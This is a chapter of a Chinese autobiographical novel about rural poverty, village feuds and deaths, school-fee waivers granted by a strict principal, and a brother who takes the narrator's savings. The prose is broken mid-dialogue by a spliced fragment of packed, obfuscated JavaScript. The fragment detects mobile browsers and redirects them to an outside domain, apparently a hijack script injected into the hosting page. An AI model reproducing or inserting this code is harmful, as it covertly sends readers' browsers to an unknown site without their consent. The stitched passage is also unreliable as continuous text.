我妈妈说:“该到人家走时,人家弟兄三个到了上海,都发了财了。尤其是三亮,平时,弟兄三个就数他最赖。等到了上海,就数他能干,人家老板就喜他,他两个哥都不如他,都跟着他混。人家弟兄三个这都过好喽。每回回凡庄,都开着车。人家都说,凡奎火化了还是好事儿来,比那些没火化的倒好来。西湖来埋凡奎的那块菜地,靠着河沿,还是个风水宝地来,凡奎真是埋到好地方去了。” 我妹妹说:“上回我看到二亮了。搁人家的丧事儿上,喇叭匠子搭的台子,二亮上去跳舞。他白白胖胖地,抖着大腿,跳的可好了!” 我妈妈说:“二亮有钱了,也不安生了,早就搁外头找了小的了。” 我说:“那家里的二嫂子不管吗?” 我妈妈说:“二嫂子也管哦,管不住。二嫂子逮到二亮跟那个女人,上去又撕又骂。大亮三亮也向着弟妹、嫂子,也跟着又撕又骂。这才把二亮跟那个女的分开。没有用。一管地松一松,又挂上钩了。这时候的人,都有大哥大。一个电话就联系上了。” 我说:“二嫂子现在恁有本事的?以前他们没上上海的时候,不是听说,二亮光揍二嫂子吗?还把她给揍地流产了。” 我妈妈说:“二亮现在不打恁二嫂子了。现在怕媳妇了。” 我说:“怕媳妇能发财,怪不得要怕媳妇。” 二亮家距离我家不足百米,我们三个每天吃过午饭、晚饭就去那里,聊天,睡觉。看书,学习。 夏天的时候,天气特别热。国福家的把她家的羊拴在我们门口抱柱上,她去天井里割蒿子。她割了蒿子堆在我们门前,点起火烧了起来。青蒿子哪能烧的着,天井里顿时浓烟四起,狼烟滚滚。 我妈妈知道了,就去找国福家的理论:“三婶子,大夏天的,你割蒿子就割蒿子,你烧什么火的,你烧青蒿子,弄地浓烟滚滚的,光熏俺三个小孩儿。” 国福家的说:“啊?我割的蒿子,不把它烧了,我往哪儿搁?” 我妈妈说:“你想烧你不抱回恁家烧的?你非要搁俺门口儿烧啊?” 国福家的说:“这屋是你的?你凭什么不让我烧蒿子的?” 我妈妈说:“那蒿子是你的?地皮是你的?你凭什么搁这里烧火的?” 国福家的说:“我想搁哪烧就搁哪烧!谁让你住这的?” 我妈妈说:“这是你的屋啊?这是二亮家的屋!你的屋给我住我还不稀罕住!我住在这里,碍你什么事?你跑来使什么坏的?你想曹谁坏谁的?” 国福家的毕竟没有那么坏,她跟我妈妈吵着吵着也就把火给停了。 我们三个在二亮家的屋里住了一个夏天。秋天,等我家的屋盖好了,我们就回到了自己的家。 新盖的三间平房就在我家的东天井里。低低矮矮的,并不高大。 我问我妈妈说:“妈,你怎么不让人家给咱盖正堂屋的?” 我妈妈说:“这是人家扶贫的钱盖的屋,盖不宽敞。今年建材又涨价了。咱先盖个偏房,等以后有钱了再盖堂屋。” 我说:“堂屋是土墙的,旧了,难看,到处都是老鼠打的洞。” 我妈妈说:“盖屋的时候,也有人跟我说,想把堂屋推倒给咱盖新堂屋的。人家说的,要是怕砖不够,就把砖立起来。再不行,就用玉石块子。我跟恁三姑姥娘商量的。正堂屋,俺跟恁三姑姥娘都住惯了。冬暖夏凉的,还能搁东西。俺推倒干嘛?平房屋有什么好,一到夏天,都晒透了。里头可热了。恁姊妹仨以后住平房屋,俺跟恁三姑姥娘住堂屋。” 过年了,可乐大哥带着个女的在我家屋后头的河沿边儿上转悠。可乐大哥不上学了。凡意大娘托人给他说了媒。女方跟在可乐大哥屁股后头,笑嘻嘻地,她看起来相貌普通,也很老实的样子。可乐大哥裹着军大衣,白白瘦瘦的脸上并没有多少笑样儿。 “那个女的还蛮喜欢俺大哥的,她跟到俺大哥腚后头转。我看她还蛮老实的,不像可乐,心眼儿多。”我跟我妈妈说。 我妈妈说:“哪的事儿。人家那是精。过年了,来走老婆婆家,老婆婆都得给钱。她大姑姐出门子了,没回娘家来,她就喊着要找她大姑姐玩儿。她哪是找她大姑姐玩儿的,她是想要她大姑姐的钱的。” “啊?大姑姐还得给兄弟媳妇钱啊?”我说。 “兄弟媳妇还没过门,来给老婆婆家拜年,大姑姐不得给钱嘛。”我妈妈说,“这个小丫头太精了,恁凡意大娘不喜她,可乐也不喜她,你看着吧,过不了多长时间,还得散。” 不久,就听说,可乐大哥又找了个新嫂子,并且很快就结婚了。大嫂子人长得好看,还爱说爱笑的。地里的活儿又能干,常常看到她一个人开着电动三轮车家里地里地转。可乐大哥还是一如既往地游手好闲。 可乐大哥两口子经常吵架打架,打地四周的邻居都跑去拉架。 “可乐就这样的,那女的还跟他干嘛!也吃的住他的打!”庄亲事邻背后议论说。 “哎,你别说,越是这样的,女人跟的越紧!” 凡意大爷死了,凡意大娘哭地哀声震天。可乐也携妻儿参加了他父亲的葬礼。可乐大嫂子按照风俗,也拉起腔来哭起了公爹。 可乐瓮声瓮气地对大嫂子说:“你哭什么的?有什么好哭的?你看我都不哭!” 可乐大哥说完,搂过大嫂子,“吧唧”亲了一口。 可乐大嫂子一听,也对!恁爹死了,恁都不哭!我哭个什么玩意儿!可乐大嫂子也不哭了。 就这样,可乐大哥两口子止住悲声,在众人面前谈笑自若。一院子帮忙的亲戚看得目瞪口呆。 这件事一时在庄上传为笑谈。我也听说了这件事儿。可是,各自关门过日子,谁又能犯得着谁。可乐大哥还是过他的。别人也继续过别人的。 凡意大爷死了以后,凡意大娘一个人住进庄西头的老年房,与众多古墓为邻,过起了孀居的日子。可乐对他娘并不买账。有时候,又是一如既往地恶语相向。 “你这样的龟孙女人,俺爹怎么看得上你的?”可乐对他的娘说。 凡意大娘被她儿子气地不行,到处跟人家说道、咒骂。 一天,凡意大娘出来晒柴禾,我妈妈打她家门前路过。 “二嫂子,晒柴火的?”我妈妈跟凡意大娘打招呼说。 “晒柴火的,三妹。进来歇歇吧。”凡意大娘停下手里的活儿,拄着手里的锨杆子说。 “不啦!二嫂子。俺还得去薅草。二嫂子最近忙什么的?二哥不在了,你自己还种地啊?” “我能种什么地哎,三妹。我一个人,闺女给点就够吃的了!我种地累死累活的,还不都给可乐那个贼羔子弄去了!这个改坏肠的,可不是人玩意儿了!”二大娘恨恨地说。 “那没办法,再怎么样也是你亲生的,二嫂子。鼻子臭,不能割下来啊。”我妈妈说,“恁忙吧,二嫂子,俺走了。” 等我们走远了,我妈妈回头看看远处的凡意大娘说:“恁这个二大娘啊,可乐什么坏事儿都是她传出来的。可乐的名声都是她的嘴给败坏的。她说完她儿的坏话,就又去疼她儿去了。反正,她有好吃的还是给她自己的儿,她不给旁人。她说归她说,咱可不能说。” 晚上,我们一家子在剥蒜。有一条狗摇着尾巴来到了我家,很可爱的一条狗。我一时也说不上它的品种。那条狗钻到了我家蒜架子底下,不见了。 不一会儿,可乐来了:“三姨,恁看到我的狗了吗?” 我弟弟说:“在俺家蒜架子底下呢。” 可乐赶紧低下头,趴在蒜架子底下唤他的狗。 “啾啾啾,啾啾啾!”可乐唤着。他的狗听到他的声音,很快就出来了。 可乐带上狗走了,边走边跟我们说:“这条狗花了我两万多呢。” 我们这才恍然大悟。 我说:“刚才来咱家的是一条名贵的狗。” “可乐现在养狗。”我妈妈说,“可赚钱了。” “有的狗也不知道是他养的呢,还是他偷来的。”我们打趣说。 可乐大哥有钱了,买房买车,混地不错。 凡意大娘家东头不远,就是凡宝大娘家。她的小孙子已经一岁多了,凡宝大娘带着。这天早上,凡宝大娘一个没注意,小孙子跑出了大门外头去。正遇上可乐开车出门儿。凡宝大娘的小孙子一下子撞了上去,一命呜呼。 可乐吓跑了,举家迁徙,暂时躲出去避避风头。 凡宝大娘一家痛不欲生,把可乐家里砸了个干净。尤其是凡宝大娘,茶不思饭不想,经常半夜三更拿着火纸到可乐门上烧纸,咒骂。 邻居起初也能理解事主的悲伤,只是,时间一长,邻居们都睡不好觉,有时候一大早出门儿,正看见凡宝大娘在可乐家门前烧纸祷告,也觉得晦气,于是也渐渐对凡宝大娘有了怨气。可乐最后还是跟凡宝大娘一家对簿公堂,可乐大哥被判赔偿凡宝大娘一家四十万。这场人命官司方才罢休。庄上人议论,本来是可以多赔偿一点的,可是凡宝大娘一家去可乐家打砸了。除去赔偿打砸可乐家的损失,凡宝大娘一家得到可乐给她家的赔偿就少了。这样说来,凡宝大娘一家还不如不去砸了。人们都这样议论。可是,事主的愤怒和悲哀,又仿佛是可以理解的。一个孩子的性命也不是金钱可以衡量的。 3.贫困生、贫困户 刘校长是我见过的最酷的校长。她说话干脆利落、斩钉截铁。做事英明果断,光明磊落。她虽然是个女的,但是那气度,那气质,很多男的都比不上她。我们那些同学都很敬佩她。就是被她罚了、批评了,也是心服口服的。 夜里,有人翻墙出去跟社会青年打架。等到周一开大会通报的时候,我们才知道。 刘校长在台上拿着一大张毛笔写的布告宣读: “青羊山高中布告:查:高三一班赵毅、刘季、朱万章三位同学,无视校纪校规,于2000年3月24日晚上翻墙外出,跟社会青年一起打架,造成恶劣的社会影响。为惩戒本人,警戒他人。给予赵毅、刘季、朱万章三位同学,以留校察看处分。此布,校长室。2000年3月24日。” 刘校长在宣读这份布告的时候,又威严,又正气,简直是帅呆了,酷毙了。那声音,那语气,简直是包青天,在宣读对一个贪官的处分决定。刘校长虽然是一介女流,但是她的风格在我们的心目中绝对是一流的。 那时候,每天晚上都有老师查宿。 “同志们,鬼子来了!我们赶紧躲进荷花淀!”我对面上铺的女生说。 刘校长查宿的时候,遇到很晚还不睡觉的,或是在被窝里躲着看小说的,听音乐的,她就把人叫出去问话。隔着宿舍门,我们听到刘校长问那个学生:“父母是干什么的?”我们的学校是农村学校,大多数同学都来自农民家庭,父母都是种地的,每家都不是很富裕。我们自己也知道,对于我们这样的农民家庭来说,读书就是唯一的出路。刘校长这样询问夜里不及时休息的学生,算是抓住了他们的要害和痛处。 有一个晚上,刘校长她们查宿的走了,我慌里慌张地往厕所那边跑。那时候,我们学校还没有冲水的厕所,还是老式的厕所。我跑出宿舍大门,快跑到厕所的时候,看到刘校长站在大门外头。我吓得赶紧又往回跑。刘校长说:“你去吧。等我走了,你还是得去啊。”我听了刘校长的话,知道刘校长不会抓我了,赶紧往厕所跑去。 刘校长给我减免了很多次学费。可即便是这样,我的学费还是经常交不上。 我记得有一次,高二的时候,又要交学费了。我家又迟迟交不上了。班主任找到我,把我叫出教室门外,和蔼地跟我说交学费的事,这样的事对我来说也是常事,我知道自己交不上学费,耽误了班主任老师的工作,班主任也着急,也没有办法。但是班主任从来没有斥责过我,或是嘲讽过我,没有给过我任何压力任何颜色,从我上学以来,所有的班主任都是这样。他们能帮我向学校求情,就帮忙,实在帮不了忙,也是悄悄把我叫出教室外,鞠躬尽瘁地弯着腰低着头,压着声音跟我说话,很平等很客气地跟我说话,好像是跟我商讨一件由我说了算的事。他们小心翼翼地照顾着一个穷学生的自尊。 学费确实是应该交的,只可恨我家太穷,我只能回家跟我妈妈说。我妈妈没有钱,就带我去校长办公室找刘校长。 “老师!”我跟校长打招呼。 “校长好!”我妈妈跟刘校长客客气气地说。 “你有什么事儿?”刘校长坐在办公室的座位上,冷冷地看着我妈妈。 我也知道刘校长已经多次给我减免了学费,对我多方照顾了,我跟我妈妈再来要求学校给我减免学费,我也不好意思。但是我也知道我家里确实没有钱。 “我想请校长给俺家孩子减免学费。”我妈妈说。 刘校长面有不悦地说:“别人家的孩子,学校给他减免学费,人家都是千恩万谢!就是你,好像觉得学校给你家减免学费是应该的。” 我妈妈见刘校长态度冷淡,她说话也不客气了:“俺家太穷,实在拿不出来这笔钱。俺要是能拿的出来这笔钱,俺也不来给校长添麻烦。” “恁家穷?学校里恁么多小孩儿,爹死娘改嫁的,多的是了。有的还是孤儿,跟着爷爷奶奶。人家都是能借借,能磨了磨。实在不行,才让学校减免学费。你好!一到交学费,就来找学校。学校已经多次给恁家孩子减免学费了,对恁家孩子已经仁至义尽。学校不是慈善机构,你不要觉得学校为恁家孩子减免学费是天经地义的。”刘校长说。 我觉得校长说的话很有道理。我看看刘校长,再看看我妈妈,很是为难。一方面,我觉得刘校长为我多次减免学费,已经仁至义尽。我一向很敬服刘校长,她说话做事干脆果断,是我们全校学生心目中的女强人,我们都真心敬佩她,爱戴她。我妈妈来跟刘校长交涉,让刘校长不高兴,我觉得很对不起刘校长,我想劝我妈妈走,不要再在这里为难刘校长。另一方面,我也知道,我家里也真的是没钱,确实交不起学费。 我不知道怎么办,就哭着跟我妈妈说:“妈妈,咱走吧!” 校长的话等于把我妈妈给回绝了,我觉得我们该走了,可是我妈妈她不走。她就站在刘校长办公室里,跟刘校长对峙了起来。刘校长也没有走出去。她就坐在那里。有几分钟,她们两个人都沉着脸,不说话。 我左右为难,又不知道该怎么办,只好陪着我妈妈站着。 我哭着跟我妈妈说:“咱走吧,妈妈!” 我妈妈也流下了眼泪。但是她还是很硬气地像是在法庭上申诉一样,理直气壮地跟刘校长说:“我向校长要求!给俺家孩子减免学费!” 刘校长也学着我妈妈的样子,跟我妈妈说:“我向家长要求!给孩子交应交的学费!” 结果,还是我妈妈败下阵来。我扶着我妈妈走了。 后来,学校勒令我们那些拖欠学费的人回家了。我把桌子搬下楼,放在自行车后座上骑着回家。我妈妈让我去找大队书记刘叔,让他给我开个介绍信,带回学校。我就去凡庄南家前找刘叔。 我到了凡庄南家前,看到一个老大娘拉着一辆车在奋力地爬坡,车上装着满满的一车树枝。我就帮她推车。老大娘很感谢,说:“这闺女一看面相就知道是个有福气的,将来一定考个好大学。”我当时哭地眼皮肿肿的,迷成一条缝儿,只是当时是春天,我的皮肤还是蛮白的,此外,我也不觉得自己还有什么好夸奖的。老大娘夸我主要还是因为我帮她推车吧。我心里想,我都已经交不起学费了,我还不知道自己能不能上学呢。 我打听到了刘叔家。刘叔不在家,去地里投蒜去了,刘婶在家,她端着碗在吃饭。她碗里装着白白的大米饭,她去锅里,推开一顶圆圆的木头锅盖儿,往碗里盛了一铲子菠菜鸡蛋。她家的锅,好像是一灶两锅,一边用来烧饭,一边用来炒菜。所以,我看到她家锅里一边是米饭,一边是菠菜。 刘婶端着碗,慢吞吞地吃着,告诉我,刘叔就在庄西头儿的蒜地里,让我去地里找他。我没有骑车,刘婶就让我骑了她的自行车去。我骑上自行车很快到了地里找到了刘叔。刘叔是个好人,对我家很照顾,我妈妈经常跟我们说起他。我这是第一次见到刘叔。他身材微胖,皮肤白白的,大背头,穿着西装,蹲在地里投蒜,不知道的还以为他是个大款。但是他说起话却完全是老老实实的,一点都没有官腔。 “行,我马上回家给你开个介绍信。”刘叔说。他的声音很小,很平凡,就像个老实巴交的农民,不像个当官的。 刘叔回到家,给我开了介绍信,我拿了就回学校去。 后来不知道怎么的,反正我又正常上学了。 我想把刘婶的自行车还给她。可是,等我到了自行车棚,我不记得刘婶的自行车是什么样儿的了。找了半天,终于看到了刘婶的自行车了,此刻,它被一条长长的重重的铁链给锁着呢。我想,哪个混蛋居然把我骑来的自行车给锁上了,这不是给我添堵嘛。我抬着自行车到了学校外头,跟修车的大叔说了一下。修车的大叔挥起大剪刀,“咔嚓”一下,就帮我把自行车的铁链子给剪断了。我千恩万谢,骑上自行车就到了刘婶家。跟刘婶说了一声,又赶紧回到了学校。 没过多久,我听到有人来找我。我一看,是刘婶。 她说:“你推回去的不是我的自行车。我的自行车是新买的。我记得,我带俺二孩儿去他姥娘家的时候,他拿指甲盖子搁后座儿上划了好几道杠儿。” 我说:“啊?我还以为那个自行车是你的呢。我不记得你的自行车什么样儿了。” 刘婶说:“恁的车棚搁哪儿?你带我去。我自己认得。”我就把刘婶带到我们教室后头的自行车棚里。刘婶很快就找到了她的自行车,然后就骑车回去了。我推错的自行车,她也给推了回来,就是人家原来的大铁链子被我给剪断了。 我上学带饭,没有咸菜,我妈妈就腌了蒜薹,端到大亮家屋檐上晾晒。 下午,我放了学,跟我妈妈一起去收蒜薹。 我胆战心惊地爬上屋檐下竖着的梯子,我妈妈站在上头拉着我上去。屋檐上,是穹庐似的榆钱树。小鸟叽叽喳喳地坠满了树枝。 屋檐顶上,晒干的蒜薹,黄黄的,软软的。 我问我妈妈:“妈,这个蒜薹收回家,还要洗吗?” 我妈妈说:“洗什么的?我都是洗地干干净净地腌的。我晒地时候,下头铺的化肥袋子,也是干干净净的。” 我听了我妈妈的话,就不再吭声了。 蒜薹收回家,我妈妈就给我炒菜,炒菜的时候倒了不少豆油。 炒好的蒜薹,油汪汪的,金黄金黄的,很香,很好看。 我弟弟、妹妹光看着,我妈妈谁都不给吃,都给我放在罐头瓶子里,留着我上学的时候带上。 我中午放学回到宿舍,坐在床头上吃饭。我先拿出饭盒,泡上煎饼,再从罐头瓶子里夹出一大筷子蒜薹,放在泡着的煎饼上,这就是我的午饭了。炒好的蒜薹还是很好吃的。我吃着吃着,发现夹起的一簇蒜薹,被蛋白似的什么东西罗织在一起。蒜薹里怎么有蛋白呢?难道是我妈妈给我在蒜薹里放了鸡蛋?不可能啊。我妈妈从来不会这样做啊。 我夹起那簇蒜薹尝了尝,有点苦涩,确定不是鸡蛋。那是什么呢?哦,我知道了。我想到了大亮家的屋檐,我家蒜薹是晾在他家屋檐上的。那屋檐上,树顶上,有很多麻雀在叫喳喳,那我碗里的蛋白似的东西,就是鸟屎了。 我默默地把那团蒜薹夹走扔掉,把自己饭盒里的煎饼也倒掉。 有一天,我妈妈跟我说:“刘校长给你三百块钱,让你留着上学喝茶。你拿着吧。” 我问她:“你又去找俺刘校长了?” 我妈妈说:“俺又去找刘校长了。人家又给你减免学费了。俺不去谢谢人家嘛。刘校长对俺说话可好了。她还给你三百块钱。她让我有什么家务事不要跟你说。她跟我说的,‘宋大省是个很自觉的学生,家长不要再给她压力了’。” “俺刘校长真好!你说她上回见了你怎么恁么冷淡的?”我问我妈妈。 我妈妈说:“人家不这样也不行。欠学费的太多了。你也贫困,他也贫困。要是都不交学费了。人家这个学校还怎么开啊。” 刘校长居然给了我三百块钱!这对于我来说是一个不小的数字。我赶紧去邮局办了一个存折,把这三百块钱存了起来。 那是一张红色的存折。 一天,我得意地拿着那张存折跟我弟弟炫耀:“你看!这是我的三百块钱。俺刘老师给我的!” 我弟弟很羡慕地看着我的存折。我为了表示跟我弟弟手足情深,一个激动,把我的存折密码告诉了他:“我的存折密码可简单了,就是六个六!” “哦——”我弟弟意味深长地笑了笑。 我当时根本没有多想,就把存折放回我的衣裳袋子里。 这以后的一天,我又去拿我的存折。打开一看,我存折的一页已经没有了。我的三百块钱呢?我大惊失色。我第一反应是:肯定是我弟弟偷了。 我问我弟弟:“鸿雁,你拿我的存折了吗?” “没有!”他说。 “就你知道我的存折密码。肯定是被你偷走了。”我说。 “我没动你存折!”我弟弟死不承认。 “你把我三百块钱弄哪去了?你快给我!”我气愤地说。 “我没拿!”我弟弟说。 我断定,肯定是我弟弟偷了我的存折。只是他既不承认,也不会给我。 我说:“我去邮局查去!肯定能查的到。你是什么时候取的,我都能查出来。” 我弟弟说:“你查去吧。你查也查不到!” 我到了青羊山镇上的邮局,把我的存折拿给柜台上的年轻的工作人员,跟他说:“我的存折叫俺弟弟给偷走了,麻烦你帮我查查,他是什么时候取的钱。”那个柜台上的年轻的小伙子才工作没几年,他瘦瘦的,白白的,浓黑的眉毛下头,架着一副宽边框的黑色眼镜,看起来又斯文,又文静。我去邮局寄信的时候经常看到他,心里还有些暗暗地喜欢他。 他帮我查了查:“被取走了。一个月前取走的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137793|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊?那么快?我一跟他说密码,他就来取了?”我说。 “在东夫山镇取的。”那个工作人员带着大势已去的表情说。显然,他对我的个人财产的巨大损失也深表同情了。 “知道了,谢谢你。麻烦你了。”我说。 “不用谢。”他说。 我回到家,又找到我弟弟。 “就是你拿的我的存折去取钱的。”我说。 我弟弟说:“我就取了,你能怎么的?” 我说:“你把钱还给我。那是俺老师给我的钱!” “给你?!”我弟弟强横又鄙视地说。 我妈妈听到我们吵架,也过来了。 “怎么了?”她问。 “俺弟弟把我存折上的三百块钱给偷走了。他就是个小偷儿!”我愤愤地说。 “你别说了!”我妈妈大声喝道。 “恁儿偷我的钱,我还不能说啊?你就是向着恁儿!”我悲愤地说。 “你别说了!”我妈妈又厉声呵斥我。 “就是鸿雁偷我的钱!你还护着他!”我急地要哭了。 “贼皮好穿,贼皮难扒!”我妈妈说,“你不要喊了!你的三百块钱,回我攒钱还给你!” “我不要你还!我就要鸿雁还!”我说。 “你放心!回我攒钱给你!”我妈妈说,“贼咬一口,入骨三分。你以后不要跟人说恁弟弟偷你的钱!” “鸿雁偷我的钱,你还不让人说了?你就是惯鸿雁!”我恨恨地发疯似的说。 “你不要跟人说!咱是一伙儿的!人家跟你都不是一个省的,人家谁向你啊!”我妈妈说。她说着,弯下腰去蒜架子上收拾东西。 “你就惯着他吧!你把他惯瞎了!你生的什么孩子!”我气愤地说。 “我生地不好!我不会生!你生地好!你以后生个好的!”我妈妈也气急败坏,开始骂我了。我知道,我跟我弟弟两国纷争,我妈妈居中斡旋不成,开始火力全开针对我了。这就是最后的结果!在绝对的威压面前,弱小的一方还是自觉地败下阵来吧。否则,你会遭到强权的一方更残酷地打压。我不说话了。我那时候还离不开她。是的。人在矮檐下,不得不低头。这是个走遍天下都适用的道理,包括在自己的家里。 “鼻子臭不能割去啊!”我妈妈说,“天底下骂惯孩子的我不心惊。”她看我先软了下来,她的语气也顺势软了下来。 “天薄是天,再孬是儿。男孩儿是根儿,女孩有什么用哎。”我妈妈说。她还想继续跟我洗脑呢。 我不服气了。我说:“女孩儿怎么没用的?女孩上好了学照样有前途有本事!” 我妈妈说:“我不是说你,我是说我自己的。你看我离恁姥娘家恁么远,恁姥娘想喝口水儿,我都不能给她端。恁姥娘百年以后,我都不能去给她上坟。” “你百年以后,我给你上坟!”我说。 “俺要恁给俺上什么坟的?”我妈妈嫌弃地说,“俺有恁弟弟!上坟都是男孩儿!女孩儿上什么坟的!女孩儿给父母老的烧完周年纸,这辈子就不能去娘家坟上了。女孩儿是人家的人!女孩儿外向,死了外葬。女孩儿光发婆家,不发娘家。” 我听了我妈妈的话,很悲愤,就跟我妈妈说:“我没资格给你上坟!你什么都指望鸿雁。等你以后养老你也指望鸿雁吧!你不要指望我了!” 我妈妈说:“你不给我养老就不给我养老哎!恁谁不给我养老我都不怕!我老了我就买瓶敌敌畏,我等我不能动的那天,我就喝药死了。我哪死喂哪儿的狗。” 我弟弟听了我跟我妈妈的对话,他大概是害怕了。他到屋里去,拿了一张纸,写了写,把那张纸递给我。我一看,上头写的是: “养老合同:给父母养老是每个孩子的义务。姊妹三个要一起承担。鸿雁,承担百分之五十。宋大省,承担百分之四十。笑笑,承担百分之十。” 我看了看我弟弟的养老合同,不屑地笑了笑。 我跟他说:“你写这个,说明你害怕了。我才不怕给咱妈养老。到时候,我一个人给咱妈养老我也养得起。” 下午,我弟弟不见了。我家的自行车也不见了。我弟弟呢?我着急地找我弟弟。 “鸿雁不见了。”我跟我妈妈说。 “他可能去山东了。”我妈妈说,“你别跟人说。他经常偷偷地跑回山东。” “我现在都不去山东了。咱家没钱。我回去干什么。还得花钱。”我说,“鸿雁自己去山东,能行吧?他还恁么小。他路上别饿着渴着?” 我妈妈说:“你管不了就不管。谁能光跟着他?人是活宝。上午还在南乡,下午就到北乡了。你去剥蒜。” 我边剥蒜,边担心我弟弟。心里很难受。太阳已经偏西了。我心里想,我年幼的弟弟现在在哪呢?他路上会不会渴着、饿着呢?他不会迷路吧?他如果半路上迷路了,他在哪儿睡觉呢?睡在人家的山芋沟里?我越想越难受。忍不住哭了起来。虽然他偷了我三百块钱,可是现在,我一点儿都不恨他了。 过了两天,我弟弟从山东回来了。他是骑自行车去的。他回来以后,坐在院子里的小板凳上,身上瘦瘦的,面皮黄黄的,像一只病病殃殃的小狗儿。说实话,我不知道他那么瘦,是因为心理压力太大,还是因为他堕入淫邪太厉害伤了身了。总之,两方面的原因都有吧。 “我去山东了,我把咱爸爸的补偿金取出来了。”我弟弟说。 我问他:“你怎么有那单子的?” “咱妈妈给我的。”我弟弟说,“恁要吧?” 我立刻说:“不要。” 我怕我弟弟不好意思,我接着说:“这笔钱,也没有多少,就几千块钱。你是男孩儿,这笔钱本来就应该给你的。” 我问他:“你去荆堂都见到谁了?咱爷爷好吗?” 我弟弟说:“咱爷爷还好。” 我说:“咱爷爷问我了吗?” 他说:“问了。我跟他说,你在南乡上学了。” 我说:“咱家的屋怎么样了?” 他说:“都要塌了。屋上的草都没有了。西山墙上的瓦都没有了。” 我弟弟说完,从屋里拿出来一张照片,照片上的人穿着红红的衣裳。 他笑嘻嘻地跟我和妹妹说:“恁看,这是什么?” 我立刻说:“是我的照片!你搁哪儿看到的?” 他说:“在咱爷爷家里的相框上。” 我接过那照片一看,正是我,我穿着六姨给我做的带大襟的红褂子。脸圆鼓鼓的,眼睛大大的。那时候,我才十岁。脸上还没有密密麻麻的青春痘,和坑坑洼洼的痘印。我的头发的右上角,有一道金色的线,不知道是被谁的指甲给划的,看起来像是戴了一个金色的发卡。 我说:“我的照片,我以前都保存地好好的,现在怎么一张都没了呢?我来南乡的时候,我把咱爸爸的照片装在火柴盒里带过来了,我装了满满一火柴盒,放在大衣柜上。后来怎么也找不到了呢?要是能留到现在多好啊。我还能看看咱爸爸。” 我弟弟说:“咱爷爷家里还有咱爸爸的照片呢。你拿的是咱家相框上的吧?” 我说:“是的。我就是怕年岁久了,照片发潮、失效。我就给带过来了,谁知道怎么一张也找不到了呢?” 我弟弟说:“你有咱爷爷的照片吗?” 我说:“没有。你别说哈,你这一问,我才知道,到底是爸爸妈妈亲。咱爷爷的照片我怎么就没带一张呢?” 我弟弟说:“咱爷爷的照片都在他家的相框上,你也带不来啊。” 我说:“没事儿,咱爷爷不是还活着吗?等咱长大了就能孝顺他了。你还见到谁了?你见到大龙大伟了吗?” 我弟弟说:“大伟家的二奶奶死了,大香结婚了,大伟去大香家跟着他姐过。他爸爸让他回去,他不回去,他让他爸爸给他盖二层楼,不给他把二层楼盖好,他就不回荆堂。” 我笑着说:“大伟怎么会这样,他这个点子不知道是他自己想出来的,还是他姐教他的。他别不是怕他爹再找一个,故意逼他爹的吧。” 我弟弟说:“南家前的二婶子喝药死了。” 我很惊讶,我说:“咱二婶子跟咱二叔感情恁么好,怎么能喝药的?” 我弟弟说:“谁知道?一时想不开呗。” 我问:“那兰兰和开放怎么办?” 我弟弟说:“兰兰跟人跑了。不回来了。二叔又找了一个女的。” 我一时不敢相信,印象中,二叔一家子是那么和和美美的,谁知道那么明媚、鲜妍的二婶子竟这样撒手人寰,留下了开放、兰兰。她们的奶奶还在,她们的姑姑应该都对他们很好吧。只是,我还是为二叔、为我的年幼的开放弟弟、兰兰小妹心痛,为死去的二婶子心痛。谁又能想到,二婶子那么精明强干的女人,能犯这种糊涂呢。她怎么舍得自己那么年轻、俊美的生命,她怎么舍得下自己一双小儿女呢。兰兰跟了自己的情郎远走他乡,一去不回。这年纪尚且幼小的好妹妹,是出于什么原因,让她舍得下自己的老父亲,这样毅然背井离乡呢。 我弟弟说:“我去西岭上转了转,看到一个男的,我不知道他是谁。他让我跟他叫二叔。” 我说:“西岭上可多小花了。你看到了吗?” 我弟弟说:“看到了。都是山花子,不怕旱。” 我说:“那个二叔你不知道是谁啊?那时候在山东,你还小,你不认识人。要是我,我肯定知道是谁。” 我弟弟说:“我跟那个二叔在西岭上坐了一会儿。” 我说:“他说什么?” 我弟弟说:“二叔说,荆堂这个地方穷。没有出路。最好是从这里走出去。” 我说:“那个二叔没出去打工吗?现在不是可以出去打工了吗?” 我弟弟说:“我不知道。我没问。” 我说:“我觉得还是荆堂好。哪儿也不如荆堂好。俺喜欢荆堂。” 这件事就这样过去了。我妈妈说的,还给我三百块钱的事,我也很快就忘记了。 后来的一天,我妈妈悄悄跟我说:“呐!这个给你。还你的三百块钱。”她递给我用几块布包着的一卷东西。 我接过来,把那层布揭开来一看,里头是大大小小,零零碎碎的一包钱。 我说:“我不要了。” 我妈妈说:“恁妈说的还你的,就一定会还你的。都是我卖破烂攒的。你拿着吧。我留着也没有用。” 我就把那钱收了起来,抽空又去办了一张存折,把那钱存了起来。 一天,班长杨将跟我说:“宋大省,你的那篇作文发表了。还有四十块钱稿费呢。这是取款单。你到校长办公室盖个章就能去邮局取款了。” “真的啊!谢谢你啊!”我高高兴兴地接过那张取款单子说。我拿着那张取款单就到了校长办公室,刘校长正好也在。 “刘校长!”我跟她打招呼说。 “宋大省,你来有什么事儿吗?”刘校长温和地看着我说。 “我来盖章。”我把那张单子递给她说。 “发表文章了?”她欣慰地说。 “嗯。说是要您帮我盖个章。” 刘校长帮我盖了章。 “好好学习。”她说。 “哦。” 三姑姥娘的眼睛已经看不清楚了。每次吃饭,我妈妈烧好了饭,就让我弟弟妹妹给她送过去。我弟弟妹妹还小,一前一后,一个端菜,一个端饭,像两个小宫女。我家吃饭,只有一个菜,一个菜烧一锅。我们的菜,不是白菜,就是萝卜。有时候难得吃鱼,我妈妈就把鱼刺挑好了,自己端过去,给三姑姥娘吃。 天有不测风云。不久以后,听说,庆丰的大儿子跟他的一帮子同学在他家聚会,大家吃饱喝足以后,他骑着摩托车送他们回去,车速太快,到了大山岗上,从摩托车上摔下来,把脸皮都剐没了,成了植物人,之前说好的未婚妻也不认账了。又过了几年,庆丰得了感冒,去村里的小诊所挂水,被医生给挂错了药,一命呜呼了。 死了的人死了,活着的人还是活着。 一天,我妹妹回来说:“妈,秀秀怀孕了。” 